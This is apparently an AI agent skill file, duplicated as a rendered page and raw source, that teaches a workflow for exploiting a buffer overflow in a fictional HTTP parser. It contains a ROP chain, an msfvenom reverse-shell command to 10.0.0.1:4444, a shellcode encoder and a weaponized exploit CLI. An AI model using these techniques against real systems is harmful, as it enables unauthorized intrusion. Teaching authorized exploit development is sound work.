Exploit Development Workflow
Overview
Exploit development transforms vulnerability discovery into working proof-of-concept code. A systematic workflow ensures reliability, maintainability, and safety. This skill covers the full lifecycle from initial analysis to weaponization, focusing on methodical testing and incremental development.
Core principle: Build exploits iteratively with extensive testing at each stage. Never skip validation steps. Document assumptions and constraints.
When to Use
Use this skill when:
- You've discovered a vulnerability requiring custom exploit
- Adapting public exploits to different environments
- Developing proof-of-concept for bug bounty/responsible disclosure
- Creating reliable exploitation tools for penetration testing
- Researching exploitation techniques for educational purposes
Don't use when:
- No authorization to test/exploit the target
- Developing for malicious purposes
- Skipping the root cause analysis phase
- Haven't fully understood the vulnerability
The Six-Phase Workflow
Phase 1: Vulnerability Analysis
Goal: Fully understand the vulnerability, its root cause, and exploitation constraints.
Activities:
Root Cause Analysis
# Document the vulnerability
"""
Vulnerability: Buffer Overflow in parse_header()
Root Cause:
- Function: parse_header() in http_parser.c:234
- Issue: strcpy() without bounds checking
- Input: HTTP Host header
- Trigger: Header > 256 bytes
Requirements:
- Network access to service (port 8080)
- No authentication required
- Service runs as root (target for privilege escalation)
Constraints:
- Bad characters: \x00, \x0a, \x0d (null, newline, carriage return)
- Stack cookies: DISABLED (binary analysis confirms)
- ASLR: ENABLED on target system
- NX: ENABLED (stack not executable)
"""
Attack Surface Mapping
- How can attacker reach vulnerable code path?
- What inputs are controllable?
- What security mitigations are present?
- What are success criteria for exploitation?
Environment Setup
# Set up identical testing environment
# - Same OS version
# - Same library versions
# - Same compiler/build flags if possible
# For binary exploitation
gdb-peda target_binary
checksec target_binary
# Check ASLR, NX, stack canaries, PIE
# Install debugging symbols if available
Phase 2: Proof of Concept (Crash)
Goal: Trigger the vulnerability reliably and confirm exploitation is possible.
Activities:
Initial Trigger
#!/usr/bin/env python3
# poc_crash.py - Trigger the vulnerability
import socket
import sys
# Target configuration
TARGET_IP = "192.168.1.100"
TARGET_PORT = 8080
# Create malicious payload
# Start with pattern to identify offset
payload = b"A" * 300 # Exceeds 256 byte buffer
# Build HTTP request
request = b"GET / HTTP/1.1\r\n"
request += b"Host: " + payload + b"\r\n"
request += b"Connection: close\r\n\r\n"
# Send exploit
print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET_IP, TARGET_PORT))
print(f"[*] Sending {len(payload)} byte payload")
s.send(request)
response = s.recv(4096)
print(f"[*] Response: {response[:100]}")
s.close()
print("[+] Payload sent")
Verify Crash
# Run target under debugger
gdb -q ./target_binary
(gdb) run
# In another terminal, run PoC
python3 poc_crash.py
# Check crash details
# - EIP/RIP overwritten?
# - What address is being accessed?
# - Segmentation fault or other error?
Calculate Offset
# Generate cyclic pattern
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
# Update PoC with pattern, trigger crash
# Check crash address in GDB
# Calculate offset
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41614141
# [*] Exact match at offset 268
Phase 3: Control Flow Hijacking
Goal: Gain control of execution flow (EIP/RIP control or equivalent).
Activities:
Verify EIP/RIP Control
# Update PoC to verify control
offset = 268
payload = b"A" * offset
payload += b"BBBB" # Should overwrite EIP with 0x42424242
payload += b"C" * (300 - offset - 4)
# Verify in debugger that EIP = 0x42424242
Bypass Security Mitigations
ASLR Bypass:
# Option 1: Info leak to defeat ASLR
# - Leak stack/heap/library address
# - Use leaked address to calculate gadget locations
# Option 2: Partial overwrite (if applicable)
# - Overwrite only last 2 bytes of return address
# - Brute force or use known offsets
# Option 3: ROP chain with known gadgets
# - Find gadgets in non-ASLR executable region
NX Bypass (Non-executable stack):
# Use Return-Oriented Programming (ROP)
# Find gadgets in existing executable code
from pwn import *
# Load binary
elf = ELF('./target_binary')
# Find gadgets
rop = ROP(elf)
# Build ROP chain
# Example: call system("/bin/sh")
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
bin_sh_addr = next(elf.search(b'/bin/sh'))
system_addr = elf.symbols['system']
payload = b"A" * offset
payload += p64(pop_rdi)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
Test Control Flow
# Verify you can redirect execution
# - Jump to custom shellcode (if NX disabled)
# - Execute ROP chain (if NX enabled)
# - Call arbitrary functions
Phase 4: Payload Development
Goal: Develop payload that achieves exploitation objectives (shell, code execution, etc.).
Activities:
Choose Payload Type
# Common payload types:
# - Bind shell: Open port on target
# - Reverse shell: Connect back to attacker
# - Execute command: Run specific command
# - Download and execute: Fetch second-stage payload
# - Meterpreter/C2 agent: Full-featured backdoor
Generate Shellcode
# Using msfvenom
msfvenom -p linux/x64/shell_reverse_tcp \
LHOST=10.0.0.1 \
LPORT=4444 \
-f python \
-b '\x00\x0a\x0d' \
-v shellcode
# Or write custom shellcode
# - More reliable
# - Smaller size
# - Custom functionality
Handle Bad Characters
# Encode shellcode to avoid bad characters
# Option 1: Alpha-numeric encoding
# Option 2: XOR encoding
# Option 3: Custom encoding with stub
def xor_encode(shellcode, key=0x42):
encoded = b""
for byte in shellcode:
encoded += bytes([byte ^ key])
return encoded
# Prepend decoder stub
decoder_stub = b"\x48\x31\xc0..." # Assembly to decode in memory
encoded_shellcode = xor_encode(shellcode, 0x42)
final_payload = decoder_stub + encoded_shellcode
Phase 5: Exploit Reliability
Goal: Make exploit work consistently across environments and conditions.
Activities:
Handle Timing Issues
# Add appropriate delays
time.sleep(0.5) # Wait for service to process
# Handle slow networks
s.settimeout(10)
# Retry logic
max_retries = 3
for attempt in range(max_retries):
try:
# Attempt exploitation
break
except Exception as e:
if attempt == max_retries - 1:
raise
time.sleep(1)
Environment Detection
def detect_environment():
"""Detect target environment for dynamic exploit adjustment"""
# Banner grabbing
banner = s.recv(1024)
# Parse version info
if b"v2.1" in banner:
return "v2.1_offsets"
elif b"v2.2" in banner:
return "v2.2_offsets"
else:
raise Exception("Unknown version")
# Use environment-specific offsets/addresses
offsets = {
"v2.1_offsets": {"buffer": 268, "ret": 0x08048ABC},
"v2.2_offsets": {"buffer": 272, "ret": 0x08048DEF}
}
Error Handling
class ExploitException(Exception):
pass
def exploit(target_ip, target_port):
try:
# Exploitation code
pass
except socket.timeout:
print("[-] Connection timeout - target may be down")
return False
except ConnectionRefusedError:
print("[-] Connection refused - service not running")
return False
except ExploitException as e:
print(f"[-] Exploit failed: {e}")
return False
return True
Phase 6: Weaponization and Documentation
Goal: Package exploit as professional tool with documentation.
Activities:
Command-Line Interface
#!/usr/bin/env python3
import argparse
def main():
parser = argparse.ArgumentParser(
description='HTTP Parser Buffer Overflow Exploit',
epilog='Example: %(prog)s -t 192.168.1.100 -p 8080 -l 10.0.0.1:4444'
)
parser.add_argument('-t', '--target', required=True,
help='Target IP address')
parser.add_argument('-p', '--port', type=int, default=8080,
help='Target port (default: 8080)')
parser.add_argument('-l', '--lhost', required=True,
help='Listener IP:port for reverse shell')
parser.add_argument('-v', '--verbose', action='store_true',
help='Verbose output')
args = parser.parse_args()
# Parse LHOST:LPORT
lhost, lport = args.lhost.split(':')
# Run exploit
exploit(args.target, args.port, lhost, int(lport), args.verbose)
if __name__ == '__main__':
main()
Comprehensive Documentation
# HTTP Parser Buffer Overflow Exploit
## Vulnerability Details
- CVE: CVE-2024-XXXXX (if applicable)
- Vendor: ExampleCorp
- Product: HTTP Parser v2.1-2.3
- Type: Stack-based buffer overflow
- Impact: Remote Code Execution
## Affected Versions
- HTTP Parser 2.1.0 - 2.3.5
- Fixed in version 2.3.6
## Requirements
- Network access to target HTTP service (default port 8080)
- Python 3.6+
- pwntools library (`pip3 install pwntools`)
## Usage
```bash
# Start listener on attacker machine
nc -lvnp 4444
# Run exploit
python3 exploit.py -t 192.168.1.100 -p 8080 -l 10.0.0.1:4444
Technical Details
Root Cause
The vulnerability exists in parse_header() function which uses unsafe
strcpy() to copy user-supplied Host header into fixed-size stack buffer.
Exploitation Process
- Send oversized Host header (300 bytes)
- Overwrite return address at offset 268
- Redirect to ROP chain (bypass NX)
- ROP chain calls mprotect() to mark stack executable
- Jump to shellcode on stack
- Shellcode connects back to attacker
Security Mitigations Bypassed
- ASLR: Using ROP gadgets from main executable (non-ASLR)
- NX: ROP chain to call mprotect() before shellcode execution
- Stack Canaries: Disabled in vulnerable versions
Limitations
- Requires target to run vulnerable version
- Target must be network-accessible
- Service must be running (not crashed)
- Shellcode limited by bad characters (\x00, \x0a, \x0d)
Remediation
- Update to version 2.3.6 or later
- Implement bounds checking in parse_header()
- Enable stack canaries during compilation
- Run service with reduced privileges
References
Testing and Validation
Always test exploits thoroughly:
Local Testing
# Set up isolated test environment
# - Virtual machines
# - Docker containers
# - Separate network segment
Success Criteria
- Exploit works reliably (>90% success rate)
- Payload executes as expected
- No unintended crashes or damage
- Clean exit possible (if designed)
Edge Cases
- Different OS versions
- Different architecture (32-bit vs 64-bit)
- Different security settings
- Slow or unreliable networks
Common Pitfalls
| Mistake |
Impact |
Solution |
| Skipping root cause analysis |
Unreliable exploit |
Fully understand vulnerability first |
| Not handling bad characters |
Exploit fails |
Test for and encode around bad chars |
| Ignoring security mitigations |
Exploit doesn't work |
Identify and bypass each mitigation |
| Hardcoding addresses |
Exploit non-portable |
Use relative offsets or info leaks |
| No error handling |
Exploit crashes on failure |
Add comprehensive error handling |
| Poor documentation |
Others can't use/verify |
Document thoroughly |
Legal and Ethical Considerations
CRITICAL - Always follow these rules:
Authorization Required
- Never exploit systems without written permission
- Understand scope and limitations
- Bug bounty programs have specific rules
Responsible Disclosure
- Report to vendor first (typically 90 days before public)
- Don't release weaponized exploits publicly without coordination
- Follow coordinated disclosure timelines
No Malicious Use
- Exploit development for defense, research, or authorized testing only
- Never use against unauthorized targets
- Understand legal consequences
Data Protection
- Don't access or exfiltrate sensitive data
- Minimize impact on systems
- Document all testing activities
Tool Recommendations
Exploitation Frameworks:
- Metasploit Framework
- pwntools (Python)
- ROPgadget
- radare2/rizin
Debugging:
- GDB with PEDA/GEF/pwndbg
- WinDbg (Windows)
- IDA Pro/Ghidra for reversing
Shellcode:
- msfvenom
- shellcode compilers
- Custom assembly
Integration with Other Skills
This skill works with:
- skills/analysis/binary-analysis - Prerequisite for understanding target
- skills/exploitation/payload-generation - Related to Phase 4
- skills/analysis/zero-day-hunting - Upstream vulnerability discovery
- skills/automation/* - Automate exploit testing
- skills/documentation/* - Document exploits properly
Success Metrics
A successful exploit should:
- Work reliably (>90% success rate in test environment)
- Handle errors gracefully
- Be well-documented
- Include usage examples
- Respect ethical/legal boundaries
- Minimize unintended impact
References and Further Reading
- "The Shellcoder's Handbook" by Koziol et al.
- "Hacking: The Art of Exploitation" by Jon Erickson
- "A Guide to Kernel Exploitation" by Perla & Oldani
- Corelan tutorials on exploit development
- LiveOverflow YouTube series
- Exploit-DB and CVE databases for examples
1---
2name: exploit-development-workflow
3description: Systematic methodology for developing reliable exploits from vulnerability discovery to weaponization
4when_to_use: After discovering a vulnerability that requires custom exploit development, when adapting public exploits, or when building proof-of-concept code for zero-day vulnerabilities
5version: 1.0.0
6languages: python, c, assembly, shellcode
7metadata:
8 source: https://skillmd.com/skills/aibot88/exploit-development-workflow
9---
10
11# Exploit Development Workflow
12
13## Overview
14
15Exploit development transforms vulnerability discovery into working proof-of-concept code. A systematic workflow ensures reliability, maintainability, and safety. This skill covers the full lifecycle from initial analysis to weaponization, focusing on methodical testing and incremental development.
16
17**Core principle:** Build exploits iteratively with extensive testing at each stage. Never skip validation steps. Document assumptions and constraints.
18
19## When to Use
20
21Use this skill when:
22- You've discovered a vulnerability requiring custom exploit
23- Adapting public exploits to different environments
24- Developing proof-of-concept for bug bounty/responsible disclosure
25- Creating reliable exploitation tools for penetration testing
26- Researching exploitation techniques for educational purposes
27
28**Don't use when:**
29- No authorization to test/exploit the target
30- Developing for malicious purposes
31- Skipping the root cause analysis phase
32- Haven't fully understood the vulnerability
33
34## The Six-Phase Workflow
35
36### Phase 1: Vulnerability Analysis
37
38**Goal:** Fully understand the vulnerability, its root cause, and exploitation constraints.
39
40**Activities:**
41
421. **Root Cause Analysis**
43 ```python
44 # Document the vulnerability
45 """
46 Vulnerability: Buffer Overflow in parse_header()
47
48 Root Cause:
49 - Function: parse_header() in http_parser.c:234
50 - Issue: strcpy() without bounds checking
51 - Input: HTTP Host header
52 - Trigger: Header > 256 bytes
53
54 Requirements:
55 - Network access to service (port 8080)
56 - No authentication required
57 - Service runs as root (target for privilege escalation)
58
59 Constraints:
60 - Bad characters: \x00, \x0a, \x0d (null, newline, carriage return)
61 - Stack cookies: DISABLED (binary analysis confirms)
62 - ASLR: ENABLED on target system
63 - NX: ENABLED (stack not executable)
64 """
65 ```
66
672. **Attack Surface Mapping**
68 - How can attacker reach vulnerable code path?
69 - What inputs are controllable?
70 - What security mitigations are present?
71 - What are success criteria for exploitation?
72
733. **Environment Setup**
74 ```bash
75 # Set up identical testing environment
76 # - Same OS version
77 # - Same library versions
78 # - Same compiler/build flags if possible
79
80 # For binary exploitation
81 gdb-peda target_binary
82 checksec target_binary
83
84 # Check ASLR, NX, stack canaries, PIE
85 # Install debugging symbols if available
86 ```
87
88### Phase 2: Proof of Concept (Crash)
89
90**Goal:** Trigger the vulnerability reliably and confirm exploitation is possible.
91
92**Activities:**
93
941. **Initial Trigger**
95 ```python
96 #!/usr/bin/env python3
97 # poc_crash.py - Trigger the vulnerability
98
99 import socket
100 import sys
101
102 # Target configuration
103 TARGET_IP = "192.168.1.100"
104 TARGET_PORT = 8080
105
106 # Create malicious payload
107 # Start with pattern to identify offset
108 payload = b"A" * 300 # Exceeds 256 byte buffer
109
110 # Build HTTP request
111 request = b"GET / HTTP/1.1\r\n"
112 request += b"Host: " + payload + b"\r\n"
113 request += b"Connection: close\r\n\r\n"
114
115 # Send exploit
116 print(f"[*] Connecting to {TARGET_IP}:{TARGET_PORT}")
117 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
118 s.connect((TARGET_IP, TARGET_PORT))
119
120 print(f"[*] Sending {len(payload)} byte payload")
121 s.send(request)
122
123 response = s.recv(4096)
124 print(f"[*] Response: {response[:100]}")
125
126 s.close()
127 print("[+] Payload sent")
128 ```
129
1302. **Verify Crash**
131 ```bash
132 # Run target under debugger
133 gdb -q ./target_binary
134 (gdb) run
135
136 # In another terminal, run PoC
137 python3 poc_crash.py
138
139 # Check crash details
140 # - EIP/RIP overwritten?
141 # - What address is being accessed?
142 # - Segmentation fault or other error?
143 ```
144
1453. **Calculate Offset**
146 ```bash
147 # Generate cyclic pattern
148 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 300
149
150 # Update PoC with pattern, trigger crash
151 # Check crash address in GDB
152
153 # Calculate offset
154 /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x41614141
155 # [*] Exact match at offset 268
156 ```
157
158### Phase 3: Control Flow Hijacking
159
160**Goal:** Gain control of execution flow (EIP/RIP control or equivalent).
161
162**Activities:**
163
1641. **Verify EIP/RIP Control**
165 ```python
166 # Update PoC to verify control
167 offset = 268
168 payload = b"A" * offset
169 payload += b"BBBB" # Should overwrite EIP with 0x42424242
170 payload += b"C" * (300 - offset - 4)
171
172 # Verify in debugger that EIP = 0x42424242
173 ```
174
1752. **Bypass Security Mitigations**
176
177 **ASLR Bypass:**
178 ```python
179 # Option 1: Info leak to defeat ASLR
180 # - Leak stack/heap/library address
181 # - Use leaked address to calculate gadget locations
182
183 # Option 2: Partial overwrite (if applicable)
184 # - Overwrite only last 2 bytes of return address
185 # - Brute force or use known offsets
186
187 # Option 3: ROP chain with known gadgets
188 # - Find gadgets in non-ASLR executable region
189 ```
190
191 **NX Bypass (Non-executable stack):**
192 ```python
193 # Use Return-Oriented Programming (ROP)
194 # Find gadgets in existing executable code
195
196 from pwn import *
197
198 # Load binary
199 elf = ELF('./target_binary')
200
201 # Find gadgets
202 rop = ROP(elf)
203
204 # Build ROP chain
205 # Example: call system("/bin/sh")
206 pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
207 bin_sh_addr = next(elf.search(b'/bin/sh'))
208 system_addr = elf.symbols['system']
209
210 payload = b"A" * offset
211 payload += p64(pop_rdi)
212 payload += p64(bin_sh_addr)
213 payload += p64(system_addr)
214 ```
215
2163. **Test Control Flow**
217 ```bash
218 # Verify you can redirect execution
219 # - Jump to custom shellcode (if NX disabled)
220 # - Execute ROP chain (if NX enabled)
221 # - Call arbitrary functions
222 ```
223
224### Phase 4: Payload Development
225
226**Goal:** Develop payload that achieves exploitation objectives (shell, code execution, etc.).
227
228**Activities:**
229
2301. **Choose Payload Type**
231 ```python
232 # Common payload types:
233 # - Bind shell: Open port on target
234 # - Reverse shell: Connect back to attacker
235 # - Execute command: Run specific command
236 # - Download and execute: Fetch second-stage payload
237 # - Meterpreter/C2 agent: Full-featured backdoor
238 ```
239
2402. **Generate Shellcode**
241 ```bash
242 # Using msfvenom
243 msfvenom -p linux/x64/shell_reverse_tcp \
244 LHOST=10.0.0.1 \
245 LPORT=4444 \
246 -f python \
247 -b '\x00\x0a\x0d' \
248 -v shellcode
249
250 # Or write custom shellcode
251 # - More reliable
252 # - Smaller size
253 # - Custom functionality
254 ```
255
2563. **Handle Bad Characters**
257 ```python
258 # Encode shellcode to avoid bad characters
259
260 # Option 1: Alpha-numeric encoding
261 # Option 2: XOR encoding
262 # Option 3: Custom encoding with stub
263
264 def xor_encode(shellcode, key=0x42):
265 encoded = b""
266 for byte in shellcode:
267 encoded += bytes([byte ^ key])
268 return encoded
269
270 # Prepend decoder stub
271 decoder_stub = b"\x48\x31\xc0..." # Assembly to decode in memory
272 encoded_shellcode = xor_encode(shellcode, 0x42)
273 final_payload = decoder_stub + encoded_shellcode
274 ```
275
276### Phase 5: Exploit Reliability
277
278**Goal:** Make exploit work consistently across environments and conditions.
279
280**Activities:**
281
2821. **Handle Timing Issues**
283 ```python
284 # Add appropriate delays
285 time.sleep(0.5) # Wait for service to process
286
287 # Handle slow networks
288 s.settimeout(10)
289
290 # Retry logic
291 max_retries = 3
292 for attempt in range(max_retries):
293 try:
294 # Attempt exploitation
295 break
296 except Exception as e:
297 if attempt == max_retries - 1:
298 raise
299 time.sleep(1)
300 ```
301
3022. **Environment Detection**
303 ```python
304 def detect_environment():
305 """Detect target environment for dynamic exploit adjustment"""
306 # Banner grabbing
307 banner = s.recv(1024)
308
309 # Parse version info
310 if b"v2.1" in banner:
311 return "v2.1_offsets"
312 elif b"v2.2" in banner:
313 return "v2.2_offsets"
314 else:
315 raise Exception("Unknown version")
316
317 # Use environment-specific offsets/addresses
318 offsets = {
319 "v2.1_offsets": {"buffer": 268, "ret": 0x08048ABC},
320 "v2.2_offsets": {"buffer": 272, "ret": 0x08048DEF}
321 }
322 ```
323
3243. **Error Handling**
325 ```python
326 class ExploitException(Exception):
327 pass
328
329 def exploit(target_ip, target_port):
330 try:
331 # Exploitation code
332 pass
333 except socket.timeout:
334 print("[-] Connection timeout - target may be down")
335 return False
336 except ConnectionRefusedError:
337 print("[-] Connection refused - service not running")
338 return False
339 except ExploitException as e:
340 print(f"[-] Exploit failed: {e}")
341 return False
342
343 return True
344 ```
345
346### Phase 6: Weaponization and Documentation
347
348**Goal:** Package exploit as professional tool with documentation.
349
350**Activities:**
351
3521. **Command-Line Interface**
353 ```python
354 #!/usr/bin/env python3
355 import argparse
356
357 def main():
358 parser = argparse.ArgumentParser(
359 description='HTTP Parser Buffer Overflow Exploit',
360 epilog='Example: %(prog)s -t 192.168.1.100 -p 8080 -l 10.0.0.1:4444'
361 )
362 parser.add_argument('-t', '--target', required=True,
363 help='Target IP address')
364 parser.add_argument('-p', '--port', type=int, default=8080,
365 help='Target port (default: 8080)')
366 parser.add_argument('-l', '--lhost', required=True,
367 help='Listener IP:port for reverse shell')
368 parser.add_argument('-v', '--verbose', action='store_true',
369 help='Verbose output')
370
371 args = parser.parse_args()
372
373 # Parse LHOST:LPORT
374 lhost, lport = args.lhost.split(':')
375
376 # Run exploit
377 exploit(args.target, args.port, lhost, int(lport), args.verbose)
378
379 if __name__ == '__main__':
380 main()
381 ```
382
3832. **Comprehensive Documentation**
384 ```markdown
385 # HTTP Parser Buffer Overflow Exploit
386
387 ## Vulnerability Details
388 - CVE: CVE-2024-XXXXX (if applicable)
389 - Vendor: ExampleCorp
390 - Product: HTTP Parser v2.1-2.3
391 - Type: Stack-based buffer overflow
392 - Impact: Remote Code Execution
393
394 ## Affected Versions
395 - HTTP Parser 2.1.0 - 2.3.5
396 - Fixed in version 2.3.6
397
398 ## Requirements
399 - Network access to target HTTP service (default port 8080)
400 - Python 3.6+
401 - pwntools library (`pip3 install pwntools`)
402
403 ## Usage
404 ```bash
405 # Start listener on attacker machine
406 nc -lvnp 4444
407
408 # Run exploit
409 python3 exploit.py -t 192.168.1.100 -p 8080 -l 10.0.0.1:4444
410 ```
411
412 ## Technical Details
413 ### Root Cause
414 The vulnerability exists in `parse_header()` function which uses unsafe
415 `strcpy()` to copy user-supplied Host header into fixed-size stack buffer.
416
417 ### Exploitation Process
418 1. Send oversized Host header (300 bytes)
419 2. Overwrite return address at offset 268
420 3. Redirect to ROP chain (bypass NX)
421 4. ROP chain calls mprotect() to mark stack executable
422 5. Jump to shellcode on stack
423 6. Shellcode connects back to attacker
424
425 ### Security Mitigations Bypassed
426 - ASLR: Using ROP gadgets from main executable (non-ASLR)
427 - NX: ROP chain to call mprotect() before shellcode execution
428 - Stack Canaries: Disabled in vulnerable versions
429
430 ## Limitations
431 - Requires target to run vulnerable version
432 - Target must be network-accessible
433 - Service must be running (not crashed)
434 - Shellcode limited by bad characters (\x00, \x0a, \x0d)
435
436 ## Remediation
437 - Update to version 2.3.6 or later
438 - Implement bounds checking in parse_header()
439 - Enable stack canaries during compilation
440 - Run service with reduced privileges
441
442 ## References
443 - Advisory: https://example.com/advisory/CVE-2024-XXXXX
444 - Patch: https://github.com/vendor/product/commit/abc123
445 ```
446
447## Testing and Validation
448
449**Always test exploits thoroughly:**
450
4511. **Local Testing**
452 ```bash
453 # Set up isolated test environment
454 # - Virtual machines
455 # - Docker containers
456 # - Separate network segment
457 ```
458
4592. **Success Criteria**
460 - Exploit works reliably (>90% success rate)
461 - Payload executes as expected
462 - No unintended crashes or damage
463 - Clean exit possible (if designed)
464
4653. **Edge Cases**
466 - Different OS versions
467 - Different architecture (32-bit vs 64-bit)
468 - Different security settings
469 - Slow or unreliable networks
470
471## Common Pitfalls
472
473| Mistake | Impact | Solution |
474|---------|--------|----------|
475| Skipping root cause analysis | Unreliable exploit | Fully understand vulnerability first |
476| Not handling bad characters | Exploit fails | Test for and encode around bad chars |
477| Ignoring security mitigations | Exploit doesn't work | Identify and bypass each mitigation |
478| Hardcoding addresses | Exploit non-portable | Use relative offsets or info leaks |
479| No error handling | Exploit crashes on failure | Add comprehensive error handling |
480| Poor documentation | Others can't use/verify | Document thoroughly |
481
482## Legal and Ethical Considerations
483
484**CRITICAL - Always follow these rules:**
485
4861. **Authorization Required**
487 - Never exploit systems without written permission
488 - Understand scope and limitations
489 - Bug bounty programs have specific rules
490
4912. **Responsible Disclosure**
492 - Report to vendor first (typically 90 days before public)
493 - Don't release weaponized exploits publicly without coordination
494 - Follow coordinated disclosure timelines
495
4963. **No Malicious Use**
497 - Exploit development for defense, research, or authorized testing only
498 - Never use against unauthorized targets
499 - Understand legal consequences
500
5014. **Data Protection**
502 - Don't access or exfiltrate sensitive data
503 - Minimize impact on systems
504 - Document all testing activities
505
506## Tool Recommendations
507
508**Exploitation Frameworks:**
509- Metasploit Framework
510- pwntools (Python)
511- ROPgadget
512- radare2/rizin
513
514**Debugging:**
515- GDB with PEDA/GEF/pwndbg
516- WinDbg (Windows)
517- IDA Pro/Ghidra for reversing
518
519**Shellcode:**
520- msfvenom
521- shellcode compilers
522- Custom assembly
523
524## Integration with Other Skills
525
526This skill works with:
527- skills/analysis/binary-analysis - Prerequisite for understanding target
528- skills/exploitation/payload-generation - Related to Phase 4
529- skills/analysis/zero-day-hunting - Upstream vulnerability discovery
530- skills/automation/* - Automate exploit testing
531- skills/documentation/* - Document exploits properly
532
533## Success Metrics
534
535A successful exploit should:
536- Work reliably (>90% success rate in test environment)
537- Handle errors gracefully
538- Be well-documented
539- Include usage examples
540- Respect ethical/legal boundaries
541- Minimize unintended impact
542
543## References and Further Reading
544
545- "The Shellcoder's Handbook" by Koziol et al.
546- "Hacking: The Art of Exploitation" by Jon Erickson
547- "A Guide to Kernel Exploitation" by Perla & Oldani
548- Corelan tutorials on exploit development
549- LiveOverflow YouTube series
550- Exploit-DB and CVE databases for examples